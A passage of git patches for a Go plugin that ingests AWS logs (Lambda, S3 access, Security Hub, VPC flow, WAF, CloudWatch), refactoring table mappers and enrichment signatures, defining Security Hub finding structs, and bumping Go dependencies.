= xid.New().String() row.TpTimestamp = row.CreatedAt row.TpIngestTimestamp = time.Now() diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index 49acf24d..f7039c86 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -29,12 +29,12 @@ func (c *LambdaLogTable) Identifier() string { return LambdaLogTableIdentifier } -func (c *LambdaLogTable) SupportedSources(*LambdaLogTableConfig) []*table.SourceMetadata[*rows.LambdaLog] { +func (c *LambdaLogTable) GetSourceMetadata(_ *LambdaLogTableConfig) []*table.SourceMetadata[*rows.LambdaLog] { return []*table.SourceMetadata[*rows.LambdaLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewLambdaLogMapper, + Mapper: &mappers.LambdaLogMapper{}, Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, @@ -42,10 +42,8 @@ func (c *LambdaLogTable) SupportedSources(*LambdaLogTableConfig) []*table.Source } } -func (c *LambdaLogTable) EnrichRow(row *rows.LambdaLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.LambdaLog, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } +func (c *LambdaLogTable) EnrichRow(row *rows.LambdaLog, _ *LambdaLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.LambdaLog, error) { + row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization row.TpID = xid.New().String() diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index eaeff02e..55276124 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -30,31 +30,22 @@ func (c *S3ServerAccessLogTable) Identifier() string { return S3ServerAccessLogTableIdentifier } -func (c *S3ServerAccessLogTable) SupportedSources(*S3ServerAccessLogTableConfig) []*table.SourceMetadata[*rows.S3ServerAccessLog] { +func (c *S3ServerAccessLogTable) GetSourceMetadata(_ *S3ServerAccessLogTableConfig) []*table.SourceMetadata[*rows.S3ServerAccessLog] { return []*table.SourceMetadata[*rows.S3ServerAccessLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: c.initMapper(), + Mapper: table.NewRowPatternMapper[*rows.S3ServerAccessLog](s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced), Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, }, } } -func (c *S3ServerAccessLogTable) initMapper() func() table.Mapper[*rows.S3ServerAccessLog] { - f := func() table.Mapper[*rows.S3ServerAccessLog] { - return table.NewDelimitedLineMapper(rows.NewS3ServerAccessLog, s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced) - } - return f -} - -func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.S3ServerAccessLog, error) { +func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, _ *S3ServerAccessLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.S3ServerAccessLog, error) { // TODO: #validate ensure we have a timestamp field // add any source enrichment fields - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } + row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization row.TpID = xid.New().String() diff --git a/tables/securityhub_finding_table.go b/tables/securityhub_finding_table.go index c641555f..ea3a7082 100644 --- a/tables/securityhub_finding_table.go +++ b/tables/securityhub_finding_table.go @@ -29,7 +29,7 @@ func (c *SecurityHubFindingTable) Identifier() string { return SecurityHubFindingTableIdentifier } -func (c *SecurityHubFindingTable) SupportedSources(*SecurityHubFindingTableConfig) []*table.SourceMetadata[*rows.SecurityHubFinding] { +func (c *SecurityHubFindingTable) GetSourceMetadata(_ *SecurityHubFindingTableConfig) []*table.SourceMetadata[*rows.SecurityHubFinding] { defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/SecurityHub/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/findings\\.json\\.gz"), } @@ -37,7 +37,7 @@ func (c *SecurityHubFindingTable) SupportedSources(*SecurityHubFindingTableConfi return []*table.SourceMetadata[*rows.SecurityHubFinding]{ { SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewSecurityHubFindingMapper, + Mapper: &mappers.SecurityHubFindingMapper{}, Options: []row_source.RowSourceOption{ artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), }, @@ -45,10 +45,8 @@ func (c *SecurityHubFindingTable) SupportedSources(*SecurityHubFindingTableConfi } } -func (c *SecurityHubFindingTable) EnrichRow(row *rows.SecurityHubFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFinding, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } +func (c *SecurityHubFindingTable) EnrichRow(row *rows.SecurityHubFinding, _ *SecurityHubFindingTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.SecurityHubFinding, error) { + row.CommonFields = sourceEnrichmentFields.CommonFields row.TpID = xid.New().String() row.TpIngestTimestamp = time.Now() diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 81177c4b..d826b252 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -26,19 +26,12 @@ func init() { // VpcFlowLogTable - table for VPC Flow Logs type VpcFlowLogTable struct{} -func (c *VpcFlowLogTable) initMapper(partitionConfig *VpcFlowLogTableConfig) func() table.Mapper[*rows.VpcFlowLog] { - f := func() table.Mapper[*rows.VpcFlowLog] { - return mappers.NewVpcFlowLogMapper(partitionConfig.Fields) - } - return f -} - -func (c *VpcFlowLogTable) SupportedSources(partitionConfig *VpcFlowLogTableConfig) []*table.SourceMetadata[*rows.VpcFlowLog] { +func (c *VpcFlowLogTable) GetSourceMetadata(partitionConfig *VpcFlowLogTableConfig) []*table.SourceMetadata[*rows.VpcFlowLog] { return []*table.SourceMetadata[*rows.VpcFlowLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: c.initMapper(partitionConfig), + Mapper: mappers.NewVpcFlowLogMapper(partitionConfig.Fields), Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, @@ -52,11 +45,9 @@ func (c *VpcFlowLogTable) Identifier() string { } // EnrichRow implements table.Table -func (c *VpcFlowLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.VpcFlowLog, error) { +func (c *VpcFlowLogTable) EnrichRow(row *rows.VpcFlowLog, _ *VpcFlowLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.VpcFlowLog, error) { // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } + row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization row.TpID = xid.New().String() diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index e004f6a7..df6be038 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -29,7 +29,7 @@ func init() { // WafTrafficLogTable - table for Waf traffic logs type WafTrafficLogTable struct{} -func (c *WafTrafficLogTable) SupportedSources(*WafTrafficLogTableConfig) []*table.SourceMetadata[*rows.WafTrafficLog] { +func (c *WafTrafficLogTable) GetSourceMetadata(_ *WafTrafficLogTableConfig) []*table.SourceMetadata[*rows.WafTrafficLog] { // the default file layout for Waf traffic logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/WAFLogs/(?P[a-zA-Z0-9-_]+)/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/(?P\\d{2})/(?P.+\\.gz)"), @@ -39,7 +39,7 @@ func (c *WafTrafficLogTable) SupportedSources(*WafTrafficLogTableConfig) []*tabl { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewWafMapper, + Mapper: &mappers.WafMapper{}, Options: []row_source.RowSourceOption{artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()}, }, } @@ -50,10 +50,8 @@ func (c *WafTrafficLogTable) Identifier() string { } // EnrichRow implements table.Table -func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } +func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, _ *WafTrafficLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source + row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization row.TpID = xid.New().String() From 7cb96d3d73754e23fd21456957d67b8583e3a2d6 Mon Sep 17 00:00:00 2001 From: Keep Focused Date: Tue, 10 Dec 2024 22:29:16 +0700 Subject: [PATCH 116/180] Clean up the table code (#47) --- rows/securityhub_finding.go | 2 +- sources/cloudwatch_log_group_source.go | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/rows/securityhub_finding.go b/rows/securityhub_finding.go index 19e02ebc..7b105b09 100644 --- a/rows/securityhub_finding.go +++ b/rows/securityhub_finding.go @@ -12,7 +12,7 @@ type SecurityHubFinding struct { // Top level fields Version *string `json:"version,omitempty"` ID *string `json:"id,omitempty"` - DetailType *string `json:"detail-type,omitempty"` + DetailType *string `json:"detail_type,omitempty"` Source *string `json:"source,omitempty"` Account *string `json:"account,omitempty"` Time *time.Time `json:"time,omitempty"` diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index 4bae3dc4..b3429e84 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -97,8 +97,9 @@ func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { continue } - // TODO: #config make this configurable? - var pageSize int32 = 5000 + // To ensure smoother execution, we have set the value to 7000, even though the maximum allowable limit is 10000. + // https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_GetLogEvents.html#API_GetLogEvents_RequestSyntax + var pageSize int32 = 7000 var nextToken *string input := &cloudwatchlogs.GetLogEventsInput{ From d0765fcd8a2f257090888f91c1d4a94692087938 Mon Sep 17 00:00:00 2001 From: Keep Focused Date: Wed, 11 Dec 2024 18:27:36 +0700 Subject: [PATCH 117/180] Updated the DetailFindings property of aws_securityhub_finding to Go struct Closes #44 (#48) --- rows/securityhub_finding.go | 167 ++++++++++++++++++++++++++++++++++-- 1 file changed, 158 insertions(+), 9 deletions(-) diff --git a/rows/securityhub_finding.go b/rows/securityhub_finding.go index 7b105b09..4cb1ac82 100644 --- a/rows/securityhub_finding.go +++ b/rows/securityhub_finding.go @@ -10,13 +10,162 @@ type SecurityHubFinding struct { enrichment.CommonFields // Top level fields - Version *string `json:"version,omitempty"` - ID *string `json:"id,omitempty"` - DetailType *string `json:"detail_type,omitempty"` - Source *string `json:"source,omitempty"` - Account *string `json:"account,omitempty"` - Time *time.Time `json:"time,omitempty"` - Region *string `json:"region,omitempty"` - Resources []*string `json:"resources,omitempty"` - DetailFindings *map[string]interface{} `json:"detail" parquet:"name=detail, type=JSON"` + Version *string `json:"version,omitempty"` + ID *string `json:"id,omitempty"` + DetailType *string `json:"detail_type,omitempty"` + Source *string `json:"source,omitempty"` + Account *string `json:"account,omitempty"` + Time *time.Time `json:"time,omitempty"` + Region *string `json:"region,omitempty"` + Resources []*string `json:"resources,omitempty"` + Detail *DetailFindingsData `json:"detail,omitempty"` +} + +// DetailFindingsData maps the `detail` field containing findings +type DetailFindingsData struct { + Findings []*Finding `json:"findings,omitempty" parquet:"name=findings, type=JSON"` + AwsRegion *string `json:"awsRegion" parquet:"name=aws_region"` + EventCategory *string `json:"eventCategory" parquet:"name=event_category"` + EventID *string `json:"eventID" parquet:"name=event_id"` + EventName *string `json:"eventName" parquet:"name=event_name"` + EventSource *string `json:"eventSource" parquet:"name=event_source"` + EventTime time.Time `json:"eventTime" parquet:"name=event_time"` + EventType *string `json:"eventType" parquet:"name=event_type"` + EventVersion *string `json:"eventVersion" parquet:"name=event_version"` + ManagementEvent bool `json:"managementEvent" parquet:"name=management_event"` + ReadOnly bool `json:"readOnly" parquet:"name=read_only"` + RecipientAccountID *string `json:"recipientAccountId" parquet:"name=recipient_account_id"` + RequestID *string `json:"requestID" parquet:"name=request_id"` + RequestParameters *map[string]interface{} `json:"requestParameters" parquet:"name=request_parameters, type=JSON"` + ResponseElements *map[string]interface{} `json:"responseElements" parquet:"name=response_elements, type=JSON"` + SourceIPAddress *string `json:"sourceIPAddress" parquet:"name=source_ip_address"` + UserAgent *string `json:"userAgent" parquet:"name=user_agent"` + UserIdentity SecurityHubUserIdentity `json:"userIdentity" parquet:"name=user_identity, type=JSON"` +} + +// Finding maps the individual findings in the detail +type Finding struct { + ProductArn *string `json:"ProductArn,omitempty"` + Types []*string `json:"Types,omitempty"` + Description *string `json:"Description,omitempty"` + Compliance *Compliance `json:"Compliance,omitempty"` + ProductName *string `json:"ProductName,omitempty"` + FirstObservedAt *time.Time `json:"FirstObservedAt,omitempty"` + CreatedAt *time.Time `json:"CreatedAt,omitempty"` + LastObservedAt *time.Time `json:"LastObservedAt,omitempty"` + CompanyName *string `json:"CompanyName,omitempty"` + FindingProviderFields *FindingProviderFields `json:"FindingProviderFields,omitempty"` + ProductFields map[string]string `json:"ProductFields,omitempty"` + Remediation *Remediation `json:"Remediation,omitempty"` + SchemaVersion *string `json:"SchemaVersion,omitempty"` + GeneratorId *string `json:"GeneratorId,omitempty"` + RecordState *string `json:"RecordState,omitempty"` + Title *string `json:"Title,omitempty"` + Workflow *Workflow `json:"Workflow,omitempty"` + Severity *Severity `json:"Severity,omitempty"` + UpdatedAt *time.Time `json:"UpdatedAt,omitempty"` + WorkflowState *string `json:"WorkflowState,omitempty"` + AwsAccountId *string `json:"AwsAccountId,omitempty"` + Region *string `json:"Region,omitempty"` + Id *string `json:"Id,omitempty"` + Resources []*FindingResource `json:"Resources,omitempty"` + ProcessedAt *time.Time `json:"ProcessedAt,omitempty"` +} + +// Supporting structs for nested fields +type Compliance struct { + Status *string `json:"Status,omitempty"` + SecurityControlId *string `json:"SecurityControlId,omitempty"` + AssociatedStandards []*AssociatedStandard `json:"AssociatedStandards,omitempty"` + SecurityControlParameters []*SecurityControlParameter `json:"SecurityControlParameters,omitempty"` +} + +type AssociatedStandard struct { + StandardsId *string `json:"StandardsId,omitempty"` +} + +type SecurityControlParameter struct { + Value []string `json:"Value,omitempty"` + Name *string `json:"Name,omitempty"` +} + +type FindingProviderFields struct { + Types []*string `json:"Types,omitempty"` + Severity *Severity `json:"Severity,omitempty"` +} + +type Remediation struct { + Recommendation *Recommendation `json:"Recommendation,omitempty"` +} + +type Recommendation struct { + Text *string `json:"Text,omitempty"` + Url *string `json:"Url,omitempty"` +} + +type Workflow struct { + Status *string `json:"Status,omitempty"` +} + +type Severity struct { + Normalized *int `json:"Normalized,omitempty"` + Label *string `json:"Label,omitempty"` + Original *string `json:"Original,omitempty"` +} + +type FindingResource struct { + Partition *string `json:"Partition,omitempty"` + Type *string `json:"Type,omitempty"` + Details *ResourceDetails `json:"Details,omitempty"` + Region *string `json:"Region,omitempty"` + Id *string `json:"Id,omitempty"` +} + +type ResourceDetails struct { + AwsLambdaFunction *AwsLambdaFunction `json:"AwsLambdaFunction,omitempty"` +} + +type AwsLambdaFunction struct { + LastModified *time.Time `json:"LastModified,omitempty"` + Role *string `json:"Role,omitempty"` + FunctionName *string `json:"FunctionName,omitempty"` + MemorySize *int `json:"MemorySize,omitempty"` + Runtime *string `json:"Runtime,omitempty"` + TracingConfig *TracingConfig `json:"TracingConfig,omitempty"` + Version *string `json:"Version,omitempty"` + Timeout *int `json:"Timeout,omitempty"` + Handler *string `json:"Handler,omitempty"` + CodeSha256 *string `json:"CodeSha256,omitempty"` + RevisionId *string `json:"RevisionId,omitempty"` +} + +type TracingConfig struct { + Mode *string `json:"Mode,omitempty"` +} + +type SecurityHubUserIdentity struct { + AccessKeyID *string `json:"accessKeyId"` + AccountID *string `json:"accountId"` + Arn *string `json:"arn"` + PrincipalID *string `json:"principalId"` + SessionContext SecurityHubSessionContext `json:"sessionContext"` + Type *string `json:"type"` +} + +type SecurityHubSessionContext struct { + Attributes Attributes `json:"attributes"` + SessionIssuer SecurityHubSessionIssuer `json:"sessionIssuer"` +} + +type Attributes struct { + CreationDate time.Time `json:"creationDate"` + MfaAuthenticated *string `json:"mfaAuthenticated"` +} + +type SecurityHubSessionIssuer struct { + AccountID string `json:"accountId"` + Arn string `json:"arn"` + PrincipalID string `json:"principalId"` + Type string `json:"type"` + UserName string `json:"userName"` } From 24a4288b32313d66e517a7c32438150eebfbbbd2 Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 12 Dec 2024 11:27:28 +0000 Subject: [PATCH 118/180] s3_source_config make extensions optional --- go.mod | 42 +++++++++++----------- go.sum | 56 +++++++++++++++--------------- sources/s3_bucket_source_config.go | 2 +- 3 files changed, 50 insertions(+), 50 deletions(-) diff --git a/go.mod b/go.mod index df10c270..b4251fb7 100644 --- a/go.mod +++ b/go.mod @@ -23,21 +23,16 @@ require ( github.com/apparentlymart/go-cidr v1.1.0 // indirect github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/aws/aws-sdk-go v1.44.183 // indirect - github.com/aws/aws-sdk-go-v2 v1.32.3 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 // indirect - github.com/aws/aws-sdk-go-v2/config v1.27.26 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.17.26 // indirect github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11 // indirect github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.22 // indirect github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.22 // indirect github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 // indirect - github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 // indirect github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 // indirect github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 // indirect github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17 // indirect github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.15 // indirect - github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2 // indirect github.com/aws/aws-sdk-go-v2/service/sso v1.22.3 // indirect github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 // indirect github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 // indirect @@ -99,7 +94,7 @@ require ( github.com/jmespath/go-jmespath v0.4.0 // indirect github.com/jtolds/gls v4.20.0+incompatible // indirect github.com/karrick/gows v0.3.0 // indirect - github.com/klauspost/compress v1.17.2 // indirect + github.com/klauspost/compress v1.17.11 // indirect github.com/leodido/go-urn v1.4.0 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect github.com/magiconair/properties v1.8.7 // indirect @@ -120,7 +115,6 @@ require ( github.com/pjbgf/sha1cd v0.3.0 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/rivo/uniseg v0.2.0 // indirect - github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/satyrius/gonx v1.4.0 // indirect @@ -155,24 +149,23 @@ require ( go.opentelemetry.io/otel/trace v1.26.0 // indirect go.uber.org/atomic v1.9.0 // indirect go.uber.org/multierr v1.9.0 // indirect - golang.org/x/crypto v0.25.0 // indirect - golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect - golang.org/x/mod v0.17.0 // indirect - golang.org/x/net v0.27.0 // indirect - golang.org/x/oauth2 v0.21.0 // indirect - golang.org/x/sync v0.8.0 // indirect - golang.org/x/sys v0.22.0 // indirect - golang.org/x/term v0.22.0 // indirect - golang.org/x/text v0.17.0 // indirect + golang.org/x/crypto v0.28.0 // indirect + golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 // indirect + golang.org/x/mod v0.21.0 // indirect + golang.org/x/net v0.30.0 // indirect + golang.org/x/oauth2 v0.22.0 // indirect + golang.org/x/sys v0.26.0 // indirect + golang.org/x/term v0.25.0 // indirect + golang.org/x/text v0.19.0 // indirect golang.org/x/time v0.5.0 // indirect - golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect + golang.org/x/tools v0.26.0 // indirect golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 // indirect google.golang.org/api v0.189.0 // indirect google.golang.org/genproto v0.0.0-20240722135656-d784300faade // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20240722135656-d784300faade // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade // indirect - google.golang.org/grpc v1.66.0 // indirect - google.golang.org/protobuf v1.34.2 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20240814211410-ddb44dafa142 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 // indirect + google.golang.org/grpc v1.67.1 // indirect + google.golang.org/protobuf v1.35.1 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect oras.land/oras-go/v2 v2.5.0 // indirect @@ -180,11 +173,18 @@ require ( ) require ( + github.com/aws/aws-sdk-go-v2 v1.32.3 + github.com/aws/aws-sdk-go-v2/config v1.27.26 + github.com/aws/aws-sdk-go-v2/credentials v1.17.26 + github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 + github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2 github.com/google/go-cmp v0.6.0 github.com/hashicorp/hcl/v2 v2.20.1 + github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 github.com/rs/xid v1.5.0 github.com/stretchr/testify v1.9.0 github.com/turbot/go-kit v0.10.0-rc.0 github.com/turbot/pipe-fittings v1.4.1 + golang.org/x/sync v0.8.0 ) diff --git a/go.sum b/go.sum index ba0571a9..e6ed8de5 100644 --- a/go.sum +++ b/go.sum @@ -526,8 +526,8 @@ github.com/karrick/gows v0.3.0 h1:/FGSuBiJMUqNOJPsAdLvHFg7RnkFoWBS8USpdco5ONQ= github.com/karrick/gows v0.3.0/go.mod h1:kdZ/jfdo8yqKYn+BMjBkhP+/oRKUABR1abaomzRi/n8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.15.11/go.mod h1:QPwzmACJjUTFsnSHH934V6woptycfrDDJnH7hvFVbGM= -github.com/klauspost/compress v1.17.2 h1:RlWWUY/Dr4fL8qk9YG7DTZ7PDgME2V4csBXA8L/ixi4= -github.com/klauspost/compress v1.17.2/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= +github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc= +github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= @@ -712,8 +712,8 @@ golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8U golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30= -golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M= +golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw= +golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -724,8 +724,8 @@ golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u0 golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= -golang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI= -golang.org/x/exp v0.0.0-20231006140011-7918f672742d/go.mod h1:ldy0pHrwJyGW56pPQzzkH36rKxoZW1tw7ZJpeKx+hdo= +golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 h1:e66Fs6Z+fZTbFBAxKfP3PALWBtpfqks2bwGcexMxgtk= +golang.org/x/exp v0.0.0-20240909161429-701f63a606c0/go.mod h1:2TbTHSBQa924w8M6Xs1QcRcFwyucIwBGpK1p2f1YFFY= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -752,8 +752,8 @@ golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= -golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.21.0 h1:vvrHzRwRfVKSiLrG+d4FMl/Qi4ukBCE6kZlTUkDYRT0= +golang.org/x/mod v0.21.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -801,8 +801,8 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= -golang.org/x/net v0.27.0 